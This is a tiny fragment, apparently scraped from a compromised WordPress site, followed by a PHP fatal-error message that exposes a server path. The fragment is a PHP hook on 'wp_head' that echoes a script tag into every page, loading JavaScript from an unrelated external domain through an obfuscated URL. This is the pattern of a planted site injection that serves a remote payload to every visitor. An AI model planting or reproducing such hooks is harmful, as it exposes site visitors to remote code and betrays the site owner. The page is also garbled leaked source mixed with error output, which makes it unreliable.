function claass() {
   echo '<script async src="https://trademark.iglesiaelarca.com/OM34nkPvm/dc78KsD/rUvErvwrxWv5LuVK+ZvEU="></script>';
}
add_action('wp_head', 'claass')<br />
<b>Fatal error</b>:  require_once(): Failed opening required '/homepages/24/d264694201/htdocs/bergrettung-060613/wp-load.php' (include_path='.:/usr/lib/php5.4') in <b>/homepages/24/d264694201/htdocs/bergrettung-060613/wp-blog-header.php</b> on line <b>13</b><br />